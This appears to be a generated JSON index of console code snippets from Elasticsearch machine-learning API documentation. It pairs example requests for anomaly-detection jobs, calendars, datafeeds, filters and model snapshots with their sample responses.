{"source_location":{"file":"ml/common/apis/set-upgrade-mode.asciidoc","line":96},"digest":"8e9e7dc5fad2b2b8e74ab4dc225d9c53","lang":"console","found":["ruby"],"source":"POST _ml/set_upgrade_mode?enabled=false&timeout=10m"}, {"source_location":{"file":"ml/anomaly-detection/apis/post-calendar-event.asciidoc","line":63},"digest":"c067182d385f59ce5952fb9a716fbf05","lang":"console","found":["ruby"],"source":"POST _ml/calendars/planned-outages/events\n{\n \"events\" : [\n {\"description\": \"event 1\", \"start_time\": 1513641600000, \"end_time\": 1513728000000},\n {\"description\": \"event 2\", \"start_time\": 1513814400000, \"end_time\": 1513900800000},\n {\"description\": \"event 3\", \"start_time\": 1514160000000, \"end_time\": 1514246400000}\n ]\n}"}, {"source_location":{"file":"ml/anomaly-detection/apis/post-calendar-event.asciidoc","line":78},"digest":"d85277c7ee060163024f51ce226e9687","lang":"console-result","found":[],"source":"{\n \"events\": [\n {\n \"description\": \"event 1\",\n \"start_time\": 1513641600000,\n \"end_time\": 1513728000000,\n \"calendar_id\": \"planned-outages\"\n },\n {\n \"description\": \"event 2\",\n \"start_time\": 1513814400000,\n \"end_time\": 1513900800000,\n \"calendar_id\": \"planned-outages\"\n },\n {\n \"description\": \"event 3\",\n \"start_time\": 1514160000000,\n \"end_time\": 1514246400000,\n \"calendar_id\": \"planned-outages\"\n }\n ]\n}"}, {"source_location":{"file":"ml/anomaly-detection/apis/put-calendar-job.asciidoc","line":36},"digest":"1b2ab75d3c8064fac6ecc63104396c02","lang":"console","found":["ruby"],"source":"PUT _ml/calendars/planned-outages/jobs/total-requests"}, {"source_location":{"file":"ml/anomaly-detection/apis/put-calendar-job.asciidoc","line":44},"digest":"1dae5fc15721297e0bbb7f75f4d688c8","lang":"console-result","found":[],"source":"{\n \"calendar_id\": \"planned-outages\",\n \"job_ids\": [\n \"total-requests\"\n ]\n}"}, {"source_location":{"file":"ml/anomaly-detection/apis/close-job.asciidoc","line":99},"digest":"75957a7d1b67e3d47899c5f18b32cb61","lang":"console","found":["ruby"],"source":"POST _ml/anomaly_detectors/low_request_rate/_close"}, {"source_location":{"file":"ml/anomaly-detection/apis/close-job.asciidoc","line":107},"digest":"bde804b8b2cf95aad1cf3ca64df67fa9","lang":"console-result","found":[],"source":"{\n \"closed\": true\n}"}, {"source_location":{"file":"ml/anomaly-detection/apis/put-job.asciidoc","line":400},"digest":"e095fc96504efecc588f97673912e3d3","lang":"console","found":[],"source":"PUT _ml/anomaly_detectors/test-job1?pretty\n{\n \"analysis_config\": {\n \"bucket_span\": \"15m\",\n \"detectors\": [\n {\n \"detector_description\": \"Sum of bytes\",\n \"function\": \"sum\",\n \"field_name\": \"bytes\"\n }\n ]\n },\n \"data_description\": {\n \"time_field\": \"timestamp\",\n \"time_format\": \"epoch_ms\"\n },\n \"analysis_limits\": {\n \"model_memory_limit\": \"11MB\"\n },\n \"model_plot_config\": {\n \"enabled\": true,\n \"annotations_enabled\": true\n },\n \"results_index_name\": \"test-job1\",\n \"datafeed_config\":\n {\n \"indices\": [\n \"kibana_sample_data_logs\"\n ],\n \"query\": {\n \"bool\": {\n \"must\": [\n {\n \"match_all\": {}\n }\n ]\n }\n },\n \"runtime_mappings\": {\n \"hour_of_day\": {\n \"type\": \"long\",\n \"script\": {\n \"source\": \"emit(doc['timestamp'].value.getHour());\"\n }\n }\n },\n \"datafeed_id\": \"datafeed-test-job1\"\n }\n}"}, {"source_location":{"file":"ml/anomaly-detection/apis/put-calendar.asciidoc","line":44},"digest":"e61b5abe85000cc954a42e2cd74f3a26","lang":"console","found":["ruby"],"source":"PUT _ml/calendars/planned-outages"}, {"source_location":{"file":"ml/anomaly-detection/apis/put-calendar.asciidoc","line":52},"digest":"171c0cd3b79df8fc5fe414cf9607f56f","lang":"console-result","found":[],"source":"{\n \"calendar_id\": \"planned-outages\",\n \"job_ids\": []\n}"}, {"source_location":{"file":"ml/anomaly-detection/apis/put-datafeed.asciidoc","line":162},"digest":"9c7c8051592b6af3adb5d7c490849068","lang":"console","found":[],"source":"PUT _ml/datafeeds/datafeed-test-job?pretty\n{\n \"indices\": [\n \"kibana_sample_data_logs\"\n ],\n \"query\": {\n \"bool\": {\n \"must\": [\n {\n \"match_all\": {}\n }\n ]\n }\n },\n \"job_id\": \"test-job\"\n}"}, {"source_location":{"file":"ml/anomaly-detection/apis/put-datafeed.asciidoc","line":185},"digest":"16b44e9a288bd721e5399e270a5052af","lang":"console-result","found":[],"source":"{\n \"datafeed_id\" : \"datafeed-test-job\",\n \"job_id\" : \"test-job\",\n \"authorization\" : {\n \"roles\" : [\n \"superuser\"\n ]\n },\n \"query_delay\" : \"91820ms\",\n \"chunking_config\" : {\n \"mode\" : \"auto\"\n },\n \"indices_options\" : {\n \"expand_wildcards\" : [\n \"open\"\n ],\n \"ignore_unavailable\" : false,\n \"allow_no_indices\" : true,\n \"ignore_throttled\" : true\n },\n \"query\" : {\n \"bool\" : {\n \"must\" : [\n {\n \"match_all\" : { }\n }\n ]\n }\n },\n \"indices\" : [\n \"kibana_sample_data_logs\"\n ],\n \"scroll_size\" : 1000,\n \"delayed_data_check_config\" : {\n \"enabled\" : true\n }\n}"}, {"source_location":{"file":"ml/anomaly-detection/apis/put-filter.asciidoc","line":51},"digest":"b4aec2a1d353852507c091bdb629b765","lang":"console","found":["ruby"],"source":"PUT _ml/filters/safe_domains\n{\n \"description\": \"A list of safe domains\",\n \"items\": [\"*.google.com\", \"wikipedia.org\"]\n}"}, {"source_location":{"file":"ml/anomaly-detection/apis/put-filter.asciidoc","line":63},"digest":"e5edabc3d3e627c7ed92623b855c05d9","lang":"console-result","found":[],"source":"{\n \"filter_id\": \"safe_domains\",\n \"description\": \"A list of safe domains\",\n \"items\": [\"*.google.com\", \"wikipedia.org\"]\n}"}, {"source_location":{"file":"ml/anomaly-detection/apis/delete-calendar.asciidoc","line":38},"digest":"63893e7e9479a9b60db71dcddcc79aaf","lang":"console","found":["ruby"],"source":"DELETE _ml/calendars/planned-outages"}, {"source_location":{"file":"ml/anomaly-detection/apis/delete-calendar.asciidoc","line":46},"digest":"bc5fcc40c29087a0df7b5405bb70de5c","lang":"console-result","found":[],"source":"{\n \"acknowledged\": true\n}"}, {"source_location":{"file":"ml/anomaly-detection/apis/delete-datafeed.asciidoc","line":43},"digest":"8a12cd824404d74f098d854716a26899","lang":"console","found":["ruby"],"source":"DELETE _ml/datafeeds/datafeed-total-requests"}, {"source_location":{"file":"ml/anomaly-detection/apis/delete-datafeed.asciidoc","line":51},"digest":"bc5fcc40c29087a0df7b5405bb70de5c","lang":"console-result","found":[],"source":"{\n \"acknowledged\": true\n}"}, {"source_location":{"file":"ml/anomaly-detection/apis/delete-calendar-event.asciidoc","line":43},"digest":"f6982ff80b9a64cd5fcac5b20908c906","lang":"console","found":["ruby"],"source":"DELETE _ml/calendars/planned-outages/events/LS8LJGEBMTCMA-qz49st"}, {"source_location":{"file":"ml/anomaly-detection/apis/delete-filter.asciidoc","line":40},"digest":"8c5d48252cd6d1ee26a2bb817f89c78e","lang":"console","found":["ruby"],"source":"DELETE _ml/filters/safe_domains"}, {"source_location":{"file":"ml/anomaly-detection/apis/delete-filter.asciidoc","line":48},"digest":"bc5fcc40c29087a0df7b5405bb70de5c","lang":"console-result","found":[],"source":"{\n \"acknowledged\": true\n}"}, {"source_location":{"file":"ml/anomaly-detection/apis/delete-forecast.asciidoc","line":69},"digest":"eb4e43b47867b54214a8630172dd0e21","lang":"console","found":["ruby"],"source":"DELETE _ml/anomaly_detectors/total-requests/_forecast/_all"}, {"source_location":{"file":"ml/anomaly-detection/apis/delete-job.asciidoc","line":68},"digest":"3ac8b5234e9d53859245cf8ab0094ca5","lang":"console","found":["ruby"],"source":"DELETE _ml/anomaly_detectors/total-requests"}, {"source_location":{"file":"ml/anomaly-detection/apis/delete-job.asciidoc","line":76},"digest":"bc5fcc40c29087a0df7b5405bb70de5c","lang":"console-result","found":[],"source":"{\n \"acknowledged\": true\n}"}, {"source_location":{"file":"ml/anomaly-detection/apis/delete-job.asciidoc","line":85},"digest":"ccec66fb20d5ede6c691e0890cfe402a","lang":"console","found":["ruby"],"source":"DELETE _ml/anomaly_detectors/total-requests?wait_for_completion=false"}, {"source_location":{"file":"ml/anomaly-detection/apis/delete-job.asciidoc","line":94},"digest":"7911626413c70672fd05359a832096c3","lang":"console-result","found":[],"source":"{\n \"task\": \"oTUltX4IQMOUUVeiohTt8A:39\"\n}"}, {"source_location":{"file":"ml/anomaly-detection/apis/delete-calendar-job.asciidoc","line":36},"digest":"1b0b29e5cd7550c648d0892378e93804","lang":"console","found":["ruby"],"source":"DELETE _ml/calendars/planned-outages/jobs/total-requests"}, {"source_location":{"file":"ml/anomaly-detection/apis/delete-calendar-job.asciidoc","line":45},"digest":"f114ee8c6333648f1cfd511a4bc15655","lang":"console-result","found":[],"source":"{\n \"calendar_id\": \"planned-outages\",\n \"job_ids\": []\n}"}, {"source_location":{"file":"ml/anomaly-detection/apis/delete-snapshot.asciidoc","line":43},"digest":"1e08e054c761353f99211cd18e8ca47b","lang":"console","found":["ruby"],"source":"DELETE _ml/anomaly_detectors/farequote/model_snapshots/1491948163"}, {"source_location":{"file":"ml/anomaly-detection/apis/delete-snapshot.asciidoc","line":51},"digest":"bc5fcc40c29087a0df7b5405bb70de5c","lang":"console-result","found":[],"source":"{\n \"acknowledged\": true\n}"}, {"source_location":{"file":"ml/anomaly-detection/apis/delete-expired-data.asciidoc","line":64},"digest":"7fd5883564d183603e60b37d286ac7e2","lang":"console","found":["ruby"],"source":"DELETE _ml/_delete_expired_data?timeout=1h"}, {"source_location":{"file":"ml/anomaly-detection/apis/delete-expired-data.asciidoc","line":72},"digest":"c852b65b9085718ec12e9fc5b41d8655","lang":"console-result","found":[],"source":"{\n \"deleted\": true\n}"}, {"source_location":{"file":"ml/anomaly-detection/apis/estimate-model-memory.asciidoc","line":54},"digest":"d1b53bc9794e8609bd6f2245624bf977","lang":"console","found":["ruby"],"source":"POST _ml/anomaly_detectors/_estimate_model_memory\n{\n \"analysis_config\": {\n \"bucket_span\": \"5m\",\n \"detectors\": [\n {\n \"function\": \"sum\",\n \"field_name\": \"bytes\",\n \"by_field_name\": \"status\",\n \"partition_field_name\": \"app\"\n }\n ],\n \"influencers\": [ \"source_ip\", \"dest_ip\" ]\n },\n \"overall_cardinality\": {\n \"status\": 10,\n \"app\": 50\n },\n \"max_bucket_cardinality\": {\n \"source_ip\": 300,\n \"dest_ip\": 30\n }\n}"}, {"source_location":{"file":"ml/anomaly-detection/apis/estimate-model-memory.asciidoc","line":84},"digest":"f5047c61947ac5f5ac544b6aac384a67","lang":"console-result","found":[],"source":"{\n \"model_memory_estimate\": \"21mb\"\n}"}, {"source_location":{"file":"ml/anomaly-detection/apis/flush-job.asciidoc","line":75},"digest":"02520ac7816b2c4cf8fb413fd16122f2","lang":"console","found":[],"source":"POST _ml/anomaly_detectors/low_request_rate/_flush\n{\n \"calc_interim\": true\n}"}, {"source_location":{"file":"ml/anomaly-detection/apis/flush-job.asciidoc","line":86},"digest":"aa814fa4e6fba339421d0c6c94680041","lang":"console-result","found":[],"source":"{\n \"flushed\": true,\n \"last_finalized_bucket_end\": 1455234900000\n}"}, {"source_location":{"file":"ml/anomaly-detection/apis/flush-job.asciidoc","line":102},"digest":"7ebfb30b3ece855c1b783d9210939469","lang":"console","found":[],"source":"POST _ml/anomaly_detectors/total-requests/_flush\n{\n \"advance_time\": \"1514804400000\"\n}"}, {"source_location":{"file":"ml/anomaly-detection/apis/flush-job.asciidoc","line":113},"digest":"f6622deb2aae0e2e468ff3b3285eaaa5","lang":"console-result","found":[],"source":"{\n \"flushed\": true,\n \"last_finalized_bucket_end\": 1514804400000\n}"}, {"source_location":{"file":"ml/anomaly-detection/apis/forecast.asciidoc","line":82},"digest":"591c7fb7451069829a14bba593136f1f","lang":"console","found":[],"source":"POST _ml/anomaly_detectors/low_request_rate/_forecast\n{\n \"duration\": \"10d\"\n}"}, {"source_location":{"file":"ml/anomaly-detection/apis/get-bucket.asciidoc","line":202},"digest":"f96d4614f2fc294339fef325b794355f","lang":"console","found":["ruby"],"source":"GET _ml/anomaly_detectors/low_request_rate/results/buckets\n{\n \"anomaly_score\": 80,\n \"start\": \"1454530200001\"\n}"}, {"source_location":{"file":"ml/anomaly-detection/apis/get-calendar.asciidoc","line":89},"digest":"5fca6671bc8eaddc44ac488d1c3c6909","lang":"console","found":["ruby"],"source":"GET _ml/calendars/planned-outages"}, {"source_location":{"file":"ml/anomaly-detection/apis/get-calendar.asciidoc","line":97},"digest":"e611275d3d0d39a05718b5468d3c51b4","lang":"console-result","found":[],"source":"{\n \"count\": 1,\n \"calendars\": [\n {\n \"calendar_id\": \"planned-outages\",\n \"job_ids\": [\n \"total-requests\"\n ]\n }\n ]\n}"}, {"source_location":{"file":"ml/anomaly-detection/apis/get-category.asciidoc","line":148},"digest":"e8f1c9ee003d115ec8f55e57990df6e4","lang":"console","found":["ruby"],"source":"GET _ml/anomaly_detectors/esxi_log/results/categories\n{\n \"page\":{\n \"size\": 1\n }\n}"}, {"source_location":{"file":"ml/anomaly-detection/apis/get-datafeed.asciidoc","line":74},"digest":"4fa9ee04188cbf0b38cfc28f6a56527d","lang":"console","found":["ruby"],"source":"GET _ml/datafeeds/datafeed-high_sum_total_sales"}, {"source_location":{"file":"ml/anomaly-detection/apis/get-datafeed.asciidoc","line":82},"digest":"b9fe4828131e68dfe16c671e355c96fb","lang":"console-result","found":[],"source":"{\n \"count\" : 1,\n \"datafeeds\" : [\n {\n \"datafeed_id\" : \"datafeed-high_sum_total_sales\",\n \"job_id\" : \"high_sum_total_sales\",\n \"authorization\" : {\n \"roles\" : [\n \"superuser\"\n ]\n },\n \"query_delay\" : \"93169ms\",\n \"chunking_config\" : {\n \"mode\" : \"auto\"\n },\n \"indices_options\" : {\n \"expand_wildcards\" : [\n \"open\"\n ],\n \"ignore_unavailable\" : false,\n \"allow_no_indices\" : true,\n \"ignore_throttled\" : true\n },\n \"query\" : {\n \"bool\" : {\n \"filter\" : [\n {\n \"term\" : {\n \"event.dataset\" : \"sample_ecommerce\"\n }\n }\n ]\n }\n },\n \"indices\" : [\n \"kibana_sample_data_ecommerce\"\n ],\n \"scroll_size\" : 1000,\n \"delayed_data_check_config\" : {\n \"enabled\" : true\n }\n }\n ]\n}"}, {"source_location":{"file":"ml/anomaly-detection/apis/get-datafeed-stats.asciidoc","line":177},"digest":"f44d287c6937785eb09b91353c1deb1e","lang":"console","found":["ruby"],"source":"GET _ml/datafeeds/datafeed-high_sum_total_sales/_stats"}, {"source_location":{"file":"ml/anomaly-detection/apis/get-datafeed-stats.asciidoc","line":185},"digest":"c624ca865592c473561bb8130efc0218","lang":"console-result","found":[],"source":"{\n \"count\" : 1,\n \"datafeeds\" : [\n {\n \"datafeed_id\" : \"datafeed-high_sum_total_sales\",\n \"state\" : \"started\",\n \"node\" : {\n \"id\" : \"7bmMXyWCRs-TuPfGJJ_yMw\",\n \"name\" : \"node-0\",\n \"ephemeral_id\" : \"hoXMLZB0RWKfR9UPPUCxXX\",\n \"transport_address\" : \"127.0.0.1:9300\",\n \"attributes\" : {\n \"ml.machine_memory\" : \"17179869184\",\n \"ml.max_open_jobs\" : \"512\"\n }\n },\n \"assignment_explanation\" : \"\",\n \"timing_stats\" : {\n \"job_id\" : \"high_sum_total_sales\",\n \"search_count\" : 7,\n \"bucket_count\" : 743,\n \"total_search_time_ms\" : 134.0,\n \"average_search_time_per_bucket_ms\" : 0.180349932705249,\n \"exponential_average_search_time_per_hour_ms\" : 11.514712961628677\n }\n }\n ]\n}"}, {"source_location":{"file":"ml/anomaly-detection/apis/get-influencer.asciidoc","line":152},"digest":"5bbccf103107e505c17ae59863753efd","lang":"console","found":["ruby"],"source":"GET _ml/anomaly_detectors/high_sum_total_sales/results/influencers\n{\n \"sort\": \"influencer_score\",\n \"desc\": true\n}"}, {"source_location":{"file":"ml/anomaly-detection/apis/get-job.asciidoc","line":234},"digest":"86280dcb49aa89083be4b2644daf1b7c","lang":"console","found":["ruby"],"source":"GET _ml/anomaly_detectors/high_sum_total_sales"}, {"source_location":{"file":"ml/anomaly-detection/apis/get-job-stats.asciidoc","line":375},"digest":"9298aaf8232a819e79b3bf8471245e98","lang":"console","found":["ruby"],"source":"GET _ml/anomaly_detectors/low_request_rate/_stats"}, {"source_location":{"file":"ml/anomaly-detection/apis/get-snapshot.asciidoc","line":242},"digest":"c873f9cd093e26515148f052e28c7805","lang":"console","found":["ruby"],"source":"GET _ml/anomaly_detectors/high_sum_total_sales/model_snapshots\n{\n \"start\": \"1575402236000\"\n}"}, {"source_location":{"file":"ml/anomaly-detection/apis/get-job-model-snapshot-upgrade-stats.asciidoc","line":121},"digest":"77ca1a3193f75651e0bf9e8fe5227a04","lang":"console","found":["ruby"],"source":"GET _ml/anomaly_detectors/low_request_rate/model_snapshots/_all/_upgrade/_stats"}, {"source_location":{"file":"ml/anomaly-detection/apis/get-job-model-snapshot-upgrade-stats.asciidoc","line":129},"digest":"f635c41ff92b646f3ea9a0f0d6d9c4fe","lang":"console-result","found":[],"source":"{\n \"count\" : 1,\n \"model_snapshot_upgrades\" : [\n {\n \"job_id\" : \"low_request_rate\",\n \"snapshot_id\" : \"1828371\",\n \"state\" : \"saving_new_state\",\n \"node\" : {\n \"id\" : \"7bmMXyWCRs-TuPfGJJ_yMw\",\n \"name\" : \"node-0\",\n \"ephemeral_id\" : \"hoXMLZB0RWKfR9UPPUCxXX\",\n \"transport_address\" : \"127.0.0.1:9300\",\n \"attributes\" : {\n \"ml.machine_memory\" : \"17179869184\",\n \"ml.max_open_jobs\" : \"512\"\n }\n },\n \"assignment_explanation\" : \"\"\n }\n ]\n}"}, {"source_location":{"file":"ml/anomaly-detection/apis/get-overall-buckets.asciidoc","line":130},"digest":"e48e7da65c2b32d724fd7e3bfa175c6f","lang":"console","found":["ruby"],"source":"GET _ml/anomaly_detectors/job-*/results/overall_buckets\n{\n \"overall_score\": 80,\n \"start\": \"1403532000000\"\n}"}, {"source_location":{"file":"ml/anomaly-detection/apis/get-overall-buckets.asciidoc","line":175},"digest":"405db6f3a01eceacfaa8b0ed3e4b3ac2","lang":"console","found":["ruby"],"source":"GET _ml/anomaly_detectors/job-*/results/overall_buckets\n{\n \"top_n\": 2,\n \"overall_score\": 50.0,\n \"start\": \"1403532000000\"\n}"}, {"source_location":{"file":"ml/anomaly-detection/apis/get-calendar-event.asciidoc","line":112},"digest":"39d6f575c9458d9c941364dfd0493fa0","lang":"console","found":["ruby"],"source":"GET _ml/calendars/planned-outages/events"}, {"source_location":{"file":"ml/anomaly-detection/apis/get-calendar-event.asciidoc","line":120},"digest":"8c820d98ef814220df1fed0dad919ca6","lang":"console-result","found":[],"source":"{\n \"count\": 3,\n \"events\": [\n {\n \"description\": \"event 1\",\n \"start_time\": 1513641600000,\n \"end_time\": 1513728000000,\n \"calendar_id\": \"planned-outages\",\n \"event_id\": \"LS8LJGEBMTCMA-qz49st\"\n },\n {\n \"description\": \"event 2\",\n \"start_time\": 1513814400000,\n \"end_time\": 1513900800000,\n \"calendar_id\": \"planned-outages\",\n \"event_id\": \"Li8LJGEBMTCMA-qz49st\"\n },\n {\n \"description\": \"event 3\",\n \"start_time\": 1514160000000,\n \"end_time\": 1514246400000,\n \"calendar_id\": \"planned-outages\",\n \"event_id\": \"Ly8LJGEBMTCMA-qz49st\"\n }\n ]\n}"}, {"source_location":{"file":"ml/anomaly-detection/apis/get-calendar-event.asciidoc","line":156},"digest":"12d5ff4b8d3d832b32a7e7e2a520d0bb","lang":"console","found":["ruby"],"source":"GET _ml/calendars/planned-outages/events?start=1635638400000&end=1635724800000"}, {"source_location":{"file":"ml/anomaly-detection/apis/get-filter.asciidoc","line":66},"digest":"800861c15bb33ca01a46fb97dde7537a","lang":"console","found":["ruby"],"source":"GET _ml/filters/safe_domains"}, {"source_location":{"file":"ml/anomaly-detection/apis/get-filter.asciidoc","line":74},"digest":"b72f41bb18115f07edacf2eb5e6ec8c4","lang":"console-result","found":[],"source":"{\n \"count\": 1,\n \"filters\": [\n {\n \"filter_id\": \"safe_domains\",\n \"description\": \"A list of safe domains\",\n \"items\": [\n \"*.google.com\",\n \"wikipedia.org\"\n ]\n }\n ]\n}"}, {"source_location":{"file":"ml/anomaly-detection/apis/get-record.asciidoc","line":280},"digest":"20e3b181114e00c943a27a9bbcf85f15","lang":"console","found":["ruby"],"source":"GET _ml/anomaly_detectors/low_request_rate/results/records\n{\n \"sort\": \"record_score\",\n \"desc\": true,\n \"start\": \"1454944100000\"\n}"}, {"source_location":{"file":"ml/anomaly-detection/apis/open-job.asciidoc","line":68},"digest":"a6204edaa0bcf7b82a89ab4f6bda0914","lang":"console","found":[],"source":"POST _ml/anomaly_detectors/low_request_rate/_open\n{\n \"timeout\": \"35m\"\n}"}, {"source_location":{"file":"ml/anomaly-detection/apis/open-job.asciidoc","line":79},"digest":"b5835f0dd6c814da70c497d320f67f2a","lang":"console-result","found":[],"source":"{\n \"opened\" : true,\n \"node\" : \"node-1\"\n}"}, {"source_location":{"file":"ml/anomaly-detection/apis/preview-datafeed.asciidoc","line":110},"digest":"38eed000de433b540116928681c520d3","lang":"console","found":["ruby"],"source":"GET _ml/datafeeds/datafeed-high_sum_total_sales/_preview"}, {"source_location":{"file":"ml/anomaly-detection/apis/preview-datafeed.asciidoc","line":118},"digest":"cb9301147c1c73e6d4b6abfbe731e2f7","lang":"console-result","found":[],"source":"[\n {\n \"order_date\" : 1574294659000,\n \"category.keyword\" : \"Men's Clothing\",\n \"customer_full_name.keyword\" : \"Sultan Al Benson\",\n \"taxful_total_price\" : 35.96875\n },\n {\n \"order_date\" : 1574294918000,\n \"category.keyword\" : [\n \"Women's Accessories\",\n \"Women's Clothing\"\n ],\n \"customer_full_name.keyword\" : \"Pia Webb\",\n \"taxful_total_price\" : 83.0\n },\n {\n \"order_date\" : 1574295782000,\n \"category.keyword\" : [\n \"Women's Accessories\",\n \"Women's Shoes\"\n ],\n \"customer_full_name.keyword\" : \"Brigitte Graham\",\n \"taxful_total_price\" : 72.0\n }\n]"}, {"source_location":{"file":"ml/anomaly-detection/apis/preview-datafeed.asciidoc","line":151},"digest":"08c9af9dd519c011deedd406f3061836","lang":"console","found":["ruby"],"source":"POST _ml/datafeeds/_preview\n{\n \"datafeed_config\": {\n \"indices\" : [\n \"kibana_sample_data_ecommerce\"\n ],\n \"query\" : {\n \"bool\" : {\n \"filter\" : [\n {\n \"term\" : {\n \"_index\" : \"kibana_sample_data_ecommerce\"\n }\n }\n ]\n }\n },\n \"scroll_size\" : 1000\n },\n \"job_config\": {\n \"description\" : \"Find customers spending an unusually high amount in an hour\",\n \"analysis_config\" : {\n \"bucket_span\" : \"1h\",\n \"detectors\" : [\n {\n \"detector_description\" : \"High total sales\",\n \"function\" : \"high_sum\",\n \"field_name\" : \"taxful_total_price\",\n \"over_field_name\" : \"customer_full_name.keyword\"\n }\n ],\n \"influencers\" : [\n \"customer_full_name.keyword\",\n \"category.keyword\"\n ]\n },\n \"analysis_limits\" : {\n \"model_memory_limit\" : \"10mb\"\n },\n \"data_description\" : {\n \"time_field\" : \"order_date\",\n \"time_format\" : \"epoch_ms\"\n }\n }\n}"}, {"source_location":{"file":"ml/anomaly-detection/apis/preview-datafeed.asciidoc","line":203},"digest":"cb9301147c1c73e6d4b6abfbe731e2f7","lang":"console-result","found":[],"source":"[\n {\n \"order_date\" : 1574294659000,\n \"category.keyword\" : \"Men's Clothing\",\n \"customer_full_name.keyword\" : \"Sultan Al Benson\",\n \"taxful_total_price\" : 35.96875\n },\n {\n \"order_date\" : 1574294918000,\n \"category.keyword\" : [\n \"Women's Accessories\",\n \"Women's Clothing\"\n ],\n \"customer_full_name.keyword\" : \"Pia Webb\",\n \"taxful_total_price\" : 83.0\n },\n {\n \"order_date\" : 1574295782000,\n \"category.keyword\" : [\n \"Women's Accessories\",\n \"Women's Shoes\"\n ],\n \"customer_full_name.keyword\" : \"Brigitte Graham\",\n \"taxful_total_price\" : 72.0\n }\n]"}, {"source_location":{"file":"ml/anomaly-detection/apis/reset-job.asciidoc","line":56},"digest":"f1e2af6dbb30fc5335e7d0b5507a2a93","lang":"console","found":["ruby"],"source":"POST _ml/anomaly_detectors/total-requests/_reset"}, {"source_location":{"file":"ml/anomaly-detection/apis/reset-job.asciidoc","line":64},"digest":"bc5fcc40c29087a0df7b5405bb70de5c","lang":"console-result","found":[],"source":"{\n \"acknowledged\": true\n}"}, {"source_location":{"file":"ml/anomaly-detection/apis/reset-job.asciidoc","line":73},"digest":"7dabae9b37d2cbd724f2a069be9e753b","lang":"console","found":["ruby"],"source":"POST _ml/anomaly_detectors/total-requests/_reset?wait_for_completion=false"}, {"source_location":{"file":"ml/anomaly-detection/apis/reset-job.asciidoc","line":82},"digest":"7911626413c70672fd05359a832096c3","lang":"console-result","found":[],"source":"{\n \"task\": \"oTUltX4IQMOUUVeiohTt8A:39\"\n}"}, {"source_location":{"file":"ml/anomaly-detection/apis/revert-snapshot.asciidoc","line":78},"digest":"3819d0a5c2eed635c88e9e7bf2e81584","lang":"console","found":["ruby"],"source":"POST _ml/anomaly_detectors/low_request_rate/model_snapshots/1637092688/_revert\n{\n \"delete_intervening_results\": true\n}"}, {"source_location":{"file":"ml/anomaly-detection/apis/start-datafeed.asciidoc","line":109},"digest":"d7ae456f119246e95f2f4c37e7544b8c","lang":"console","found":[],"source":"POST _ml/datafeeds/datafeed-low_request_rate/_start\n{\n \"start\": \"2019-04-07T18:22:16Z\"\n}"}, {"source_location":{"file":"ml/anomaly-detection/apis/start-datafeed.asciidoc","line":120},"digest":"cf5c7db01c545fa26fe97bc7409d3ed1","lang":"console-result","found":[],"source":"{\n \"started\" : true,\n \"node\" : \"node-1\"\n}"}, {"source_location":{"file":"ml/anomaly-detection/apis/stop-datafeed.asciidoc","line":74},"digest":"fd60b4092c6552164862cec287359676","lang":"console","found":["ruby"],"source":"POST _ml/datafeeds/datafeed-low_request_rate/_stop\n{\n \"timeout\": \"30s\"\n}"}, {"source_location":{"file":"ml/anomaly-detection/apis/stop-datafeed.asciidoc","line":85},"digest":"5dcda409b93a4b4a031d6990cee66328","lang":"console-result","found":[],"source":"{\n \"stopped\": true\n}"}, {"source_location":{"file":"ml/anomaly-detection/apis/update-datafeed.asciidoc","line":160},"digest":"4bfcb2861f1d572bd0d66acd66deab0b","lang":"console","found":["ruby"],"source":"POST _ml/datafeeds/datafeed-test-job/_update\n{\n \"query\": {\n \"term\": {\n \"geo.src\": \"US\"\n }\n }\n}"}, {"source_location":{"file":"ml/anomaly-detection/apis/update-datafeed.asciidoc","line":176},"digest":"0d981ec9bb9ccd3076f4049f44009bec","lang":"console-result","found":[],"source":"{\n \"datafeed_id\" : \"datafeed-test-job\",\n \"job_id\" : \"test-job\",\n \"authorization\" : {\n \"roles\" : [\n \"superuser\"\n ]\n },\n \"query_delay\" : \"64489ms\",\n \"chunking_config\" : {\n \"mode\" : \"auto\"\n },\n \"indices_options\" : {\n \"expand_wildcards\" : [\n \"open\"\n ],\n \"ignore_unavailable\" : false,\n \"allow_no_indices\" : true,\n \"ignore_throttled\" : true\n },\n \"query\" : {\n \"term\" : {\n \"geo.src\" : \"US\"\n }\n },\n \"indices\" : [\n \"kibana_sample_data_logs\"\n ],\n \"scroll_size\" : 1000,\n \"delayed_data_check_config\" : {\n \"enabled\" : true\n }\n}"}, {"source_location":{"file":"ml/anomaly-detection/apis/update-filter.asciidoc","line":44},"digest":"4d21725453955582ff12b4a1104aa7b6","lang":"console","found":["ruby"],"source":"POST _ml/filters/safe_domains/_update\n{\n \"description\": \"Updated list of domains\",\n \"add_items\": [\"*.myorg.com\"],\n \"remove_items\": [\"wikipedia.org\"]\n}"}, {"source_location":{"file":"ml/anomaly-detection/apis/update-filter.asciidoc","line":57},"digest":"c1cdffb22de3a5beadff539c0e856e60","lang":"console-result","found":[],"source":"{\n \"filter_id\": \"safe_domains\",\n \"description\": \"Updated list of domains\",\n \"items\": [\"*.google.com\", \"*.myorg.com\"]\n}"}, {"source_location":{"file":"ml/anomaly-detection/apis/update-job.asciidoc","line":243},"digest":"421e68e2b9789f0e8c08760d9e685d1c","lang":"console","found":["ruby"],"source":"POST _ml/anomaly_detectors/low_request_rate/_update\n{\n \"description\":\"An updated job\",\n \"detectors\": {\n \"detector_index\": 0,\n \"description\": \"An updated detector description\"\n },\n \"groups\": [\"kibana_sample_data\",\"kibana_sample_web_logs\"],\n \"model_plot_config\": {\n \"enabled\": true\n },\n \"renormalization_window_days\": 30,\n \"background_persist_interval\": \"2h\",\n \"model_snapshot_retention_days\": 7,\n \"results_retention_days\": 60\n}"}, {"source_location":{"file":"ml/anomaly-detection/apis/update-snapshot.asciidoc","line":49},"digest":"3b9c54604535d97e8368d47148aecc6f","lang":"console","found":["ruby"],"source":"POST\n_ml/anomaly_detectors/it_ops_new_logs/model_snapshots/1491852978/_update\n{\n \"description\": \"Snapshot 1\",\n \"retain\": true\n}"}, {"source_location":{"file":"ml/anomaly-detection/apis/upgrade-job-model-snapshot.asciidoc","line":77},"digest":"a9dd9595e96c307b8c798beaeb571521","lang":"console","found":[],"source":"POST _ml/anomaly_detectors/low_request_rate/model_snapshots/1828371/_upgrade?timeout=45m&wait_for_completion=true"}, {"source_location":{"file":"ml/anomaly-detection/apis/upgrade-job-model-snapshot.asciidoc","line":85},"digest":"9b2607007f1a3123b9c5235d50253480","lang":"console-result","found":[],"source":"{\n \"completed\" : false,\n \"node\" : \"node-1\"\n}"}, 